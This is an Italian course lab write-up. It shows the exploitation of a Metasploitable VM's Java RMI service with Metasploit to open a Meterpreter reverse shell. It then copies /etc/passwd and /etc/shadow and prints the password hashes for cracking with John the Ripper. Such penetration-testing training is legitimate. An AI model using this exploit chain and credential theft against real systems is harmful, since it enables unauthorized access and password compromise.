

Cybersecurity Analyst

Week 16 - W16D4

M4: Progetto

Esercizio

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta **1099 – Java RMI**.

Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- Indirizzo IP macchina attaccante (Kali Linux): 192.168.11.111
- Indirizzo IP macchina vittima (Metasploitable) 192.168.11.112

Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- 1) Configurazione di rete;
- 2) Informazioni sulla tabella di routing della macchina vittima
- 3) Altro...

INFO SULLE MACCHINE COINVOLTE

Nella seguente sezione, viene fornito uno sguardo dettagliato alle configurazioni di rete di entrambe le macchine coinvolte, evidenziando gli indirizzi IP assegnati come specificato nella traccia dell'esercizio.

KALI LINUX

```
(kali㉿kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255  
    inet6 fe80::a00:27ff:feeb:7ef5 prefixlen 64 scopeid 0x20<link>  
    ether 08:00:27:cb:7e:f5 txqueuelen 1000 (Ethernet)  
    RX packets 0 bytes 0 (0.0 B)  
    RX errors 0 dropped 0 overruns 0 frame 0  
    TX packets 18 bytes 2564 (2.5 KiB)  
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

METASPLOITABLE

```
--- 192.168.11.111 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 2998ms  
rtt min/avg/max/mdev = 0.627/3.551/10.798/4.206 ms  
msfadmin@metasploitable:~$ ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:88:db:1d  
    inet addr:192.168.11.112 Bcast:192.168.11.255 Mask:255.255.255.0  
    inet6 addr: fe80::a00:27ff:fe88:db1d/64 Scope:Link  
    UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
    RX packets:160 errors:0 dropped:0 overruns:0 frame:0  
    TX packets:231 errors:0 dropped:0 overruns:0 carrier:0  
    collisions:0 txqueuelen:1000  
    RX bytes:129905 (126.8 KB)  TX bytes:27977 (27.3 KB)  
    Base address:0xd020 Memory:f0200000-f0220000
```

Una delle fasi cruciali nell'affrontare una vulnerabilità è proprio lo sfruttamento della stessa, in questo contesto, ci concentriamo sull'utilizzo di **Metasploit**, un framework ampiamente utilizzato che fornisce un'ampia gamma di moduli di **exploit** che semplificano il processo di sfruttamento delle vulnerabilità.

In questa sezione, esploreremo il processo di utilizzo di Metasploit per sfruttare la vulnerabilità sulla **porta 1099** e ottenere un accesso remoto alla macchina Metasploitable.

```
(kali㉿kali)-[~]
$ msfconsole

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMM          MMMMMMMMMMMM
MMMN$                  vMMMM
MMNNl   MAMMA         MAMMA    jMMMM
MMNNl   MAMMMMMMMN     NMMMMMMMM jMMMM
MMNNl   MAMMMMMMMMMNMmmMAMMMMMMMMM jMMMM
MMNI    MAMMMMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMNI    MAMMMMMMMMMMMMMMMMMMMMMMMMM jMMMM
MMNI    MAMAMA      MAMMMMMH       jMMMM
MMNI    MAMAMA      MAMMMMMHAM      jMMMM
MMNI    MMAMNA      MAMMMMMHAM      jMMMM
MMNI    VMAMMA      MAMMMMMHAM      jMMMM#
MMMMR ?MAMMA        MAMMA .dMMMM
MMMMNm ~?MAMMA      MAMMA` dMMMMMM
MMMMMMN ?MAMMA     AM?  NMMMMMMN
MMMMMMMMMMNe             JMMMMMMMMMM
MMMMMMMMMMm           eMMMMMMMMMMm
MMMMNNNNNNMMMMMMNx      MMMMMMMNNNNNNMM
MMMMMMMMMMMMMMMMMM+ .. +MMMMNNNNNNNNMM

https://metasploit.com


=[ metasploit v6.3.27-dev ]
+- --[ 2335 exploits - 1220 auxiliary - 413 post ]
+- --[ 1385 payloads - 46 encoders - 11 nops ]
+- --[ 9 evasion ]

Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x
Metasploit Documentation: https://docs.metasploit.com/
```

IDENTIFICAZIONE EXPLOIT

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java C
ode Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No      Java RMI Server Insecure Endpoint Code Execution Scan
ner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Esca
lation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > █
```

CONFIGURAZIONE OPZIONI EXPLOIT

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
-      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099           yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0
.0.0.0 to listen on all addresses.
SRVPORT   8080           yes       The local port to listen on.
SSL        false          no        Negotiate SSL for incoming connections
SSLCert   no             no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   no             no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-      -
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > █
```

OTTENIMENTO DELLA SESSIONE METERPRETER

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/hDQZlV0mHQsptmk
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:38546) at 2024-02-22 14:27:14 -0500

meterpreter > █
```

RACCOLTA INFO SULLA MACCHINA TARGET

INFO SISTEMA E TABELLA DI ROUTING

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```
IPv6 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe88:db1d	::	::		

ANALISI CREDENZIALI UTENTI

In questa sezione, verrà esposto il processo di analisi delle credenziali degli utenti presenti sulla macchina Metasploitable utilizzando il tool **John the Ripper**.

Dopo aver ottenuto l'accesso alla macchina remota e copiato i file **passwd** e **shadow**, procederemo con l'utilizzo di John the Ripper per tentare di recuperare le password delle utenze.

COPIA DEI FILE COINVOLTI

```
meterpreter > download /etc/shadow
[*] Downloading: /etc/shadow → /home/kali/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow → /home/kali/shadow
[*] Completed : /etc/shadow → /home/kali/shadow
meterpreter > download /etc/passwd
[*] Downloading: /etc/passwd → /home/kali/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd → /home/kali/passwd
[*] Completed : /etc/passwd → /home/kali/passwd
meterpreter > █
```

```
(kali@kali)~$ cat /home/kali/passwd.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mail List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuid:x:100:101::/var/lib/libuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/ssh:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

```
(kali@kali)~$ cat /home/kali/shadow.txt
root:$1$avpf8Jl1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BP0t$Miy3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuid!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9Xk1.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw351k.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$K.o3G93DGoIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kr3ue7JZ$7GxELDupr50hp6cj38Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
```

